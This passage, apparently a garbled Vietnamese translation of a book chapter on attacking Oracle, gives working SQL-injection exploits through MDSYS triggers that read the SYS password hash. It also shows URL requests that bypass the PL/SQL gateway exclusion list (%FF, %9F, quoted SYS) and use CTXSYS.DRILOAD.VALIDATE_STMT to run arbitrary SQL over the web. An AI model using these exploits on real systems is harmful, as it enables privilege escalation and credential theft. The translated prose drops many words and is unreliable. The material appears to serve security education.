ảnh hưởng người dùng SQL đưa vào PUBLIC có quyền INSERT vào bảng Vì vậy, trình kích hoạt bị lạm dụng để chọn từ bảng MDSYS chọn từ Ví dụ: người dùng có đặc quyền thấp chọn băm mật cho SYS từ bảng USER$: set serveroutput on create or replace function y return varchar2 authid current_user is buffer varchar2(30); stmt varchar2(200):=’select password from sys.user$ where name =’’SYS’’’; begin execute immediate stmt into buffer; dbms_output.put_line(‘SYS passord is: ‘|| buffer); return ‘foo’; end; / grant execute on y to public; insert into mdsys.user_sdo_geom_metadata (table_name,column_name) values (‘X’’ AND SDO_COLUMN_NAME=scott.y ’,’test’); Trình kích hoạt MDSYS.SDO_LRS_TRIG_INS kích hoạt INSERT xảy chế độ xem MDSYS.USER_SDO_LRS_METADATA PUBLIC chèn vào chế độ xem làm cho trình kích hoạt kích hoạt Trình kích hoạt dễ bị công SQL injection Cả Oracle 9i 10g bị ảnh hưởng Nó thực thi stmt := ‘SELECT count(*) FROM SDO_LRS_METADATA_TABLE ‘ || ‘ WHERE sdo_owner = ‘’’ || UPPER(user_name) || ‘’’ ‘ || ‘ AND sdo_table_name = ‘’’ || UPPER(:n.table_name) || ‘’’ ‘ || ‘ AND sdo_column_name = ‘’’ || UPPER(:n.column_name) || ‘’’ ‘; EXECUTE IMMEDIATE stmt INTO vcount; và: new.table_name và: new.column_name người dùng cung cấp câu lệnh INSERT Đây nơi kẻ cơng chèn SQL: set serveroutput on create or replace function y return varchar2 authid current_user is buffer varchar2(30); stmt varchar2(200):=’select password from sys.user$ where name =’’SYS’’’; begin execute immediate stmt into buffer; dbms_output.put_line(‘SYS passord is: ‘|| buffer); return ‘foo’; end; / grant execute on y to public; insert into mdsys.user_sdo_lrs_metadata (table_name,column_name,dim_pos,dim_unit) values (‘W’’ AND SDO_COLUMN_NAME=SCOTT.Y ’,’BBB’,3,’AAA’); If DIM_POS is not set to or an error will be generated: ERROR at line 1: ORA-02290: check constraint (MDSYS.SYS_C002760) violated ORA-06512: at “MDSYS.SDO_LRS_TRIG_INS”, line 18 ORA-04088: error during execution of trigger ‘MDSYS.SDO_LRS_TRIG_INS’ Điều chế độ xem USER_SDO_LRS_METADATA tham chiếu đến bảng MDSYS.SDO_LRS_METADATA_TABLE Bảng có ràng buộc yêu cầu SDO_DIM_POS = PL/SQL Máy chủ ứng dụng Oracle Thủ tục PL/SQL thực thi Web thơng qua Máy chủ ứng dụng Oracle Trên thực tế, môi trường ứng dụng phổ biến sử dụng cho ứng dụng web dựa Oracle Khi sử dụng ứng dụng web dựa PL/SQL, máy chủ web hoạt động đơn giản máy chủ proxy Nó nhận yêu cầu từ máy khách chuyển yêu cầu đến máy chủ sở liệu phụ trợ để thực thi Kết chuyển trở lại máy chủ web, sau chuyển cho máy khách Ví dụ: giả sử có cửa hàng sách sử dụng PL/SQL cho trang Thương mại điện tử họ Cửa hàng tạo số gói, gói để duyệt sách gói khác để mua Giả sử gói cho phép duyệt sách gọi BROWSE xuất số thủ tục SEARCH_BY_AUTHOR, SEARCH_BY_TITLE, v.v Để tìm kiếm sách tác giả định, người dùng ứng dụng web yêu cầu trình duyệt web họ URL sau: http://www.books.example.com/pls/bookstore/browse.search_by_author?p_author=Dickens Hãy chia nhỏ điều này: www.books.example.com trang web /Pls yêu cầu cho ứng dụng PL/SQL Một trình xử lý xác định cho điều tệp cấu hình apache /bookstore DAD Bộ mô tả truy cập sở liệu DAD trỏ đến vị trí tệp cấu hình có chứa thơng tin chi tiết cách máy chủ web kết nối với máy chủ sở liệu Thông tin bao gồm thứ tên người dùng mật mà máy chủ web xác thực /browse tên gói search_by_author tên thủ tục Lưu ý người dùng web tình cờ biết tên lược đồ chứa gói duyệt, giả sử SCOTT, họ yêu cầu /pls/bookstore/SCOTT.BROWSE.SEARCH_BY_AUTHOR Khi máy khách yêu cầu điều này, máy chủ web gửi yêu cầu đến máy chủ sở liệu Máy chủ sở liệu thực thi thủ tục SEARCH_BY_AUTHOR chuyển Dickens làm đối số Quy trình truy vấn bảng sách gửi kết trở lại máy chủ web Máy chủ web phản hồi hợp lệ với máy khách Oracle cung cấp Bộ công cụ PL/SQL để sử dụng với ứng dụng web Bộ cơng cụ chứa gói HTP, chứa thủ tục để tạo văn HTML HTF, chứa hàm để tạo văn HTML Ngồi cịn có nhóm gói bắt đầu OWA, chẳng hạn OWA_COOKIE OWA_UTIL OWA_UTIL chứa số thủ tục thú vị CELLSPRINT Điều coi đối số truy vấn chọn SQL kết trả lại cho máy khách Trong phiên cũ Máy chủ ứng dụng Oracle, thực quy trình này: http://www.books.example.com/pls/bookstore/SYS.OWA_UTIL.CELLSPRINT? P_THEQUERY=select+1+from+dual Tơi báo cáo điều họ sửa Một lúc sau, tơi quay lại xem xét tính bảo vệ danh sách loại trừ tị mị, tơi kiểm tra tính mạnh mẽ Lần này, tơi chuyển từ %00 thành %FF thay Y SYS kiểm tra máy chủ web để tìm phản hồi 200 - tức tơi có lại quyền truy cập vào OWA_UTIL Tơi thấy rằng% FF máy chủ web dịch sang byte 0xFF (rõ ràng) điều gửi đến máy chủ sở liệu Tuy nhiên, điều thú vị máy chủ sở liệu dịch 0xFF thành 0x59 - Y! Điều cho phép tơi có quyền truy cập lại vào OWA_UTIL cho phép chạy truy vấn tùy ý http://www.books.example.com/pls/bookstore/S%FFS.OWA_UTIL.CELLSPRINT? P_THEQUERY=select+1+from+dual Điều liên quan đến ký tự sử dụng máy chủ ứng dụng máy chủ sở liệu Để điều hoạt động, hai phải sử dụng ký tự WE8ISO8859P1 - tình phổ biến Tìm hiểu sâu hơn, tơi thấy máy chủ web sử dụng ký tự AMERICAN_AMERICA.WE8ISO8859P1 máy chủ sở liệu sử dụng ký tự ENGLISH_UNITEDKINGDOM.WE8MSWIN1252, %9F chuyển đổi thành Y http://www.books.example.com/pls/bookstore/S%9FS.OWA_UTIL.CELLSPRINT? P_THEQUERY=select+1+from+dual Có thể có kết hợp thú vị khác Dù sao, báo cáo điều cách hợp lệ cho Oracle họ sửa vào tháng năm 2004 Vào tháng 9, báo cáo cố với quy trình PL/SQL có ảnh hưởng đến bảo mật người ta truy cập thơng qua máy chủ ứng dụng, Oracle từ chối khắc phục với lý "bản sửa lỗi" họ cho danh sách loại trừ, nên có quyền truy cập vào quy trình Điều phần làm tơi khó chịu Tơi tranh luận với họ nói tơi tìm thấy hai lỗi khứ danh sách loại trừ, họ hồn tồn chắn khơng cịn lỗi không Tốt để sửa lỗi quy trình Trên thực tế, tơi khó chịu, điều khiến tơi có nguồn cảm hứng: bạn đặt số nhận dạng, chẳng hạn SYS, dấu ngoặc kép ví dụ: EXEC “SYS”.DBMS_OUTPUT.PUT_LINE(‘Hello!’); Tại khơng sử dụng dấu ngoặc kép gọi qua máy chủ ứng dụng Theo quyền, điều phá vỡ khớp mẫu Chắc chắn làm Xin lưu ý có cách rõ ràng khác để bỏ qua danh sách loại trừ (ngẫu nhiên, Máy chủ ứng dụng 10g không dễ bị tổn thương điều này; 10gAS lấy liệu đầu vào người dùng chuyển tất ký tự viết hoa thành chữ thường để “SYS” trở thành “sys” Vì vậy, dấu ngoặc kép thông qua, máy chủ sở liệu tìm thấy lược đồ "sys" Khi trích dẫn số nhận dạng, chúng cần phải viết hoa) Vì vậy, Oracle sửa lỗi may, lỗi quy trình Dù sao, quay lại PL/SQL Máy chủ ứng dụng Oracle Trước thảo luận gói DRILOAD lược đồ CTXSYS Gói có thủ tục, cụ thể VALIDATE_STMT, nhận truy vấn người dùng cung cấp thực thi Điều bị lạm dụng Web Một điều cần lưu ý dường khơng hoạt động Lý bạn gọi thủ tục VALIDATE_STMT, bạn không chọn, thủ tục trả ERROR at line 1: ORA-06510: PL/SQL: unhandled user-defined exception ORA-06512: at “CTXSYS.DRILOAD”, line 42 ORA-01003: no statement parsed ORA-06512: at line Điều gửi trở lại máy chủ web để máy chủ web trả phản hồi khơng tìm thấy tệp 404 Mặc dù lỗi khơng có câu lệnh phân tích cú pháp, truy vấn thực thi Ví dụ, yêu cầu http://www.books.example.com/pls/bookstore/ctxsys.driload.validate_stmt? sqlstmt=CREATE+OR+REPLACE+PROCEDURE+WEBTEST+AS+BEGIN+HTP.PRINT(‘hello’);+END; trả 404 Yêu cầu http://www.books.example.com/pls/bookstore/ctxsys.driload.validate_stmt? sqlstmt=GRANT+EXECUTE+ON+WEBTEST+TO+PUBLIC trả 404 Tuy nhiên, yêu cầu http://www.books.example.com/pls/bookstore/ctxsys.webtest trả “hello” Điều xảy đây? Yêu cầu tạo thủ tục có tên WEBTEST sử dụng HTP.PRINT để viết “hello” Thủ tục CTXSYS tạo sở hữu Yêu cầu thứ hai cấp cho PUBLIC quyền thực thi quy trình WEBTEST Cuối gọi - yêu cầu cuối Từ phải thấy rõ điều nguy hiểm Ở cần lưu ý 99% vấn đề thảo luận phần PL/SQL thực Web thơng qua Máy chủ ứng dụng Oracle Tóm lược Chương mô tả cách công Oracle giới thiệu số phương pháp Trước xem xét cách bảo vệ máy chủ, chương xem xét cách kẻ công di chuyển sâu vào hệ điều hành vào phần lại mạng